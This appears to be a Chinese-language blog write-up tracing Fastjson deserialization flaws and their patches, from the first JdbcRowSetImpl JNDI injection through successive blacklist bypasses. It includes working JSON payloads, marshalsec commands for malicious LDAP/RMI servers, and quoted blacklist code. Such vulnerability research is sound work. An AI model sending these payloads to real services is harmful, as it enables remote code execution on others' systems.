讲漏洞前先来说下一些利用方式
来看下第一次漏洞的Poc,一个JNDI注入的利用
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
个人理解就是, JdbcRowSetImpl
这个类的 dataSourceName
支持传入一个rmi的源。
当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。
还有过程类似的LDAP利用方式
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}"
可以用 https://github.com/mbechler/marshalsec 很方便的启这两个服务
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt
需要注意的来了,这两种利用方式 有java版本限制 (一开始坑死我了)
JDK 6u132
, JDK 7u122
, JDK 8u113
之前。 JDK 11.0.1
、 8u191
、 7u201
、 6u211
之前。 因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。
可以看到ldap的利用范围是比rmi要大的,所以更推荐ldap的利用方式。
类似于Jackson,Fastjson中也支持指定类的反序列化,只需要在json的key中添加 @type
即可。
但是一开始Fastjson是默认支持这个属性的,就是默认就可以反序列化任意类,自然而然地漏洞也就来了。
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency>
payload = "{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}"; JSONObject.parseObject(payload);
就可以成功反序列化RCE,无需别的前置条件
再运行上面那段代码就会爆出这条错误
跟进可以看到新增了 checkAutoType
这个函数
可以看到我们这里的操作是被黑名单给拦截了
for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } }
不仅如此,fastjson还默认关闭了反序列化任意类的操作,需要手动开启才行。
https://github.com/alibaba/fastjson/wiki/enable_autotype
这时候出现了第一次补丁的绕过(实际跟着看了下,发现其实好简单!)
在后面的 TypeUtils.loadClass
真正加载class类时,有这样一段代码
if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); }
可以看到在黑名单检测之后,当开头有 [
或者 L
和 ;
时会去掉这些字符,从而造成了黑名单的绕过
所以可以通过如下方式进行攻击,不过需要手动开启 autoType
,至少相较于第一版的危害范围要小一些。(实测用 [
时解析会报错。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{/"@type/":/"Lcom.sun.rowset.JdbcRowSetImpl;/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}"; JSONObject.parseObject(payload);
if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME == 0x9195c07b5af5345L) { throw new JSONException("autoType is not support. " + typeName); } // 9195c07b5af5345 className = className.substring(1, className.length() - 1); }
大致意思就是,假如开头和结尾是 L
和 ;
就将头和尾去掉,再进行黑名单验证
还将之前的黑名单验证变成了hash的方式,防止安全人员进行研究
感觉这个确实好好绕过,再加一层 L
和 ;
不就可以了。
LLcom.sun.rowset.JdbcRowSetImpl;;
由于上个补丁的愚蠢方式,所以很快又出了这个补丁。
if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME == 0x9195c07b5af5345L) { throw new JSONException("autoType is not support. " + typeName); } // 9195c07b5af5345 className = className.substring(1, className.length() - 1); }
开头两个 LL
就会被抛出异常(好简洁暴力。。)
这回的绕过是黑名单被绕过,新增了个 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
的黑名单,由于在项目中使用的频率也较高,所以影响范围也比较大。
payload
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}
在后面的防御便是不断的添加黑名单列表,此时推荐大佬的项目,通过黑名单hash找到对应的类名
https://github.com/LeadroyaL/fastjson-blacklist
直到后来有一天,宁静的日子被打破,又出现了一个通杀洞,无需开启 autotype
通杀。(小声bb一句hw期间出了好多大洞
String payload = "{/"a/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"b/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/",/"autoCommit/":true}}}"; JSONObject.parseObject(payload);
可以来看下这个json
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true } }
据说其实这个payload一开始是被分为两段来打的,后来老哥们发现可以合成一段来发送,就避免了LB的干扰,导致payload打到不同的服务器。
可以一起来看下到底是怎么绕过 autotype
和黑名单验证的。
一开始反序列化的是 java.lang.Class
这个类,调试跟进可以看到是从 checkAutoType
这一段代码中获取到的类。
if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
这个 deserializers
在一开始会对其中放入许多常用的类
private void initDeserializers() { ... // 太多了,就不贴了 }
然后在紧跟的代码中就直接返回了,还没到原本 autoTypeSupport
的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过 java.lang.Class
获取到了 com.sun.rowset.JdbcRowSetImpl
类,然后重点来了。
在 loadClass
中,可以看到假如 cache
为true,就会把获取到的类缓存到 mapping
中(应该是为了提高效率)
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; }
然而这个 cache
在传入的时候默认就是 true
public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true); }
于是,触发到第二段payload的时候,在 checkAutoType
函数中,就直接从缓存中获取到了 com.sun.rowset.JdbcRowSetImpl
这个类
if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
然后也是一样在还没有判断黑名单和 com.sun.rowset.JdbcRowSetImpl
的验证之前就return了。
将之前的 loadClass
中默认 cache
设置成了false。
public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, false); }
所以在第一次获取到 com.sun.rowset.JdbcRowSetImpl
这个类之后就不会缓存,到第二次的payload时也就取不到缓存的类,也就会进入到黑名单和 com.sun.rowset.JdbcRowSetImpl
的验证中了。